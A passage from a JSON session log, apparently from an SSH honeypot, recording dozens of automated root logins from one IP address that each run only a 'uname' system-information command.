  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:26:51.722066+00:00",
  "ended_at": "2026-08-25T01:26:56.835956+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e8466daf-e1bd-4883-b14b-4af7eaa9ecb3",
  "name": "quartz-civil-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 34122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:26:37.121069+00:00",
  "ended_at": "2026-08-25T01:26:42.507011+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "02453f48-9b0f-40e2-91d3-901df9204aa4",
  "name": "pleasant-dusky-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:26:07.126541+00:00",
  "ended_at": "2026-08-25T01:26:12.604038+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ca586711-31d2-4985-8f4e-c81e5c4b72dd",
  "name": "nameless-hazy-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 60032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:25:38.298273+00:00",
  "ended_at": "2026-08-25T01:25:42.003203+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac3a639a-eb67-44b3-82b9-bd974d8526fb",
  "name": "knotted-ginger-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 37198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:25:16.505236+00:00",
  "ended_at": "2026-08-25T01:25:20.114146+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dba885c1-30e3-4c9f-8bb5-b1c887d94508",
  "name": "glassy-sincere-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:24:20.498397+00:00",
  "ended_at": "2026-08-25T01:24:25.314116+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11649587-d816-42d5-a884-f78c66f028ee",
  "name": "wiry-autumn-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 58450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:24:10.400380+00:00",
  "ended_at": "2026-08-25T01:24:14.509398+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d333132b-29ba-4418-bd7f-a2305bfbd928",
  "name": "opal-lively-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:23:19.231302+00:00",
  "ended_at": "2026-08-25T01:23:23.098844+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4b20fd53-136e-4e37-b4fd-810817a9533a",
  "name": "craggy-hardy-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:23:05.299031+00:00",
  "ended_at": "2026-08-25T01:23:10.118492+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "581af47d-96b1-4a60-9002-8106b624ae8c",
  "name": "smooth-knotted-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:21:38.512250+00:00",
  "ended_at": "2026-08-25T01:21:43.428052+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b7c19602-32ba-460e-b503-3a201258765c",
  "name": "wiry-icy-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 48206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:21:30.108246+00:00",
  "ended_at": "2026-08-25T01:21:34.704118+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1402bad8-196f-4ba6-b1f9-928af4312c07",
  "name": "idle-hazel-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:21:11.707891+00:00",
  "ended_at": "2026-08-25T01:21:14.612524+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5b73db03-d5e9-400e-853a-0872a0dfbc8a",
  "name": "blunt-plucky-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:21:02.599773+00:00",
  "ended_at": "2026-08-25T01:21:07.409033+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35fb2eef-8975-45d8-8cd2-3377a92b3ee8",
  "name": "prickly-brave-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45140,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:20:35.408408+00:00",
  "ended_at": "2026-08-25T01:20:40.412651+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "548d41cf-5446-484c-b6db-66efcfda528e",
  "name": "solemn-somber-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:20:35.002457+00:00",
  "ended_at": "2026-08-25T01:20:39.101516+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e4b7c99b-afde-4c67-8403-d19d19463ef2",
  "name": "noble-meadow-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:20:15.500025+00:00",
  "ended_at": "2026-08-25T01:20:18.315500+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "be1d4336-feae-401b-9517-8b429559ed87",
  "name": "whispering-lanky-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:19:49.904851+00:00",
  "ended_at": "2026-08-25T01:19:54.886719+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed812216-35e2-491d-938e-cf1e1d5974a8",
  "name": "hollow-feathered-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 47436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:19:16.110604+00:00",
  "ended_at": "2026-08-25T01:19:19.909253+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "99a95bf9-7817-487c-9ed1-6712bf543c97",
  "name": "valiant-lofty-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49720,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:18:38.707534+00:00",
  "ended_at": "2026-08-25T01:18:43.317523+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "09ba1cb8-77df-46bf-a144-56f8172163a1",
  "name": "proud-granite-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:17:57.302998+00:00",
  "ended_at": "2026-08-25T01:18:01.611989+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "acfe747e-2a1b-402c-a094-18d2afe451c9",
  "name": "inland-wandering-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 36298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:17:27.099965+00:00",
  "ended_at": "2026-08-25T01:17:33.115451+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d5a3ac03-c424-4e47-82ea-8661c1583e94",
  "name": "calm-velvet-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:17:08.304896+00:00",
  "ended_at": "2026-08-25T01:17:11.691392+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2e8df907-ee05-4d0f-9049-682016b22162",
  "name": "tidal-russet-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:17:01.101528+00:00",
  "ended_at": "2026-08-25T01:17:05.394244+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9e511e49-7d94-4e38-a89d-98e9912ccf02",
  "name": "vivid-plucky-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:16:41.006332+00:00",
  "ended_at": "2026-08-25T01:16:46.307906+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f4903e2e-a08a-43e6-8011-1f1115de9f3e",
  "name": "upland-restless-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 38302,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:16:37.508819+00:00",
  "ended_at": "2026-08-25T01:16:40.899123+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "486fd07f-5e97-4694-b2c8-ba545b96208f",
  "name": "forlorn-spirited-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:16:27.003136+00:00",
  "ended_at": "2026-08-25T01:16:30.304939+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b8f1d525-6d52-4f39-8ea8-a2df99f3f001",
  "name": "sunlit-umber-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:15:13.208571+00:00",
  "ended_at": "2026-08-25T01:15:17.587795+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e8828e41-9328-42f8-b557-7ff8224435ac",
  "name": "coral-tranquil-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:14:41.409728+00:00",
  "ended_at": "2026-08-25T01:14:46.019355+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0727b19a-9f6c-4150-b18f-f70260f0dc33",
  "name": "feathered-windswept-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:14:26.999897+00:00",
  "ended_at": "2026-08-25T01:14:30.513577+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "caac8381-9798-43a2-b5f1-9f7db29aa753",
  "name": "upland-jovial-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:14:13.311448+00:00",
  "ended_at": "2026-08-25T01:14:18.413359+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3c9e6c3-dc00-45b4-9625-48099a6bdcad",
  "name": "thawing-tranquil-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:13:59.408852+00:00",
  "ended_at": "2026-08-25T01:14:02.396213+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5653d479-dab4-42f7-a1c9-ebe7f5923bb2",
  "name": "fringed-snowy-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 58104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:13:10.520280+00:00",
  "ended_at": "2026-08-25T01:13:14.412581+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5a979e23-e6c3-4bf8-8c9e-4cdaedc168aa",
  "name": "prairie-flinty-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40276,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 353,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:12:25.022545+00:00",
  "ended_at": "2026-08-25T01:12:28.010871+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4eb4f717-c859-44b7-9587-c579878a7233",
  "name": "sunlit-western-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 41856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:12:11.205673+00:00",
  "ended_at": "2026-08-25T01:12:15.528124+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06ef76e3-0ba9-4ed9-81ad-62bed3bdacfa",
  "name": "early-downy-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 36236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:12:00.303820+00:00",
  "ended_at": "2026-08-25T01:12:06.004036+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b07244be-1f38-4750-a247-6b9a6e3d2a6d",
  "name": "sooty-frugal-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 253,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:11:27.111936+00:00",
  "ended_at": "2026-08-25T01:11:32.804006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad271ab1-bdc8-4b64-b4b1-dc536b864c8b",
  "name": "balmy-opal-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:11:22.808021+00:00",
  "ended_at": "2026-08-25T01:11:25.706709+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7941781a-ca1b-4108-9fcf-4cb8190171ab",
  "name": "tawny-jagged-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43484,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:10:36.008889+00:00",
  "ended_at": "2026-08-25T01:10:40.622923+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7eac1b92-afe7-4d8c-9293-29f270a9fe56",
  "name": "spirited-pristine-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 253,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:10:08.658291+00:00",
  "ended_at": "2026-08-25T01:10:14.031012+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "052cf452-02ec-4f15-aec8-f16ebf02589c",
  "name": "dutiful-thorny-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:09:15.612414+00:00",
  "ended_at": "2026-08-25T01:09:18.727064+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70d45218-2203-4866-afa2-89c01d3f45e5",
  "name": "coastal-craggy-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42956,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:09:07.109181+00:00",
  "ended_at": "2026-08-25T01:09:12.105124+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1b8fcc58-d683-43b1-bb99-00da5afa46c6",
  "name": "vigilant-solar-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:09:01.419182+00:00",
  "ended_at": "2026-08-25T01:09:06.512276+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eeeacb10-6958-4289-a3cc-c54ed3e28caa",
  "name": "tender-wooded-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 35870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:07:52.711169+00:00",
  "ended_at": "2026-08-25T01:07:58.415020+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2255ad64-b35c-4563-a100-510d49b4d45d",
  "name": "hollow-upland-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:07:09.005587+00:00",
  "ended_at": "2026-08-25T01:07:13.203608+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd64e188-562d-4922-971a-2d1a74c06ee0",
  "name": "tidal-frosty-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:06:48.787994+00:00",
  "ended_at": "2026-08-25T01:06:52.620673+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bee2869f-16c4-40ed-ab34-60261ef51343",
  "name": "wistful-hearty-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43940,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:06:03.696921+00:00",
  "ended_at": "2026-08-25T01:06:08.307011+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8623e031-e6c5-4a45-9d17-11fa84dcf96a",
  "name": "windswept-lawful-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39266,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 362,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:05:59.003575+00:00",
  "ended_at": "2026-08-25T01:06:04.026874+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5149251-279e-4f29-8fa2-25d58a73f955",
  "name": "mossy-hazy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 53018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:03:47.109096+00:00",
  "ended_at": "2026-08-25T01:03:50.517875+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06c12eba-a9c1-4110-88ea-9b8ba98d2575",
  "name": "coral-regal-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:03:40.988431+00:00",
  "ended_at": "2026-08-25T01:03:47.003921+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "51146482-55ad-47f0-b0c6-8737a2cec4cc",
  "name": "sandy-plush-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:03:36.226030+00:00",
  "ended_at": "2026-08-25T01:03:41.506264+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98e3e967-ab13-4032-9a79-ed1e5331e870",
  "name": "daring-tidal-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
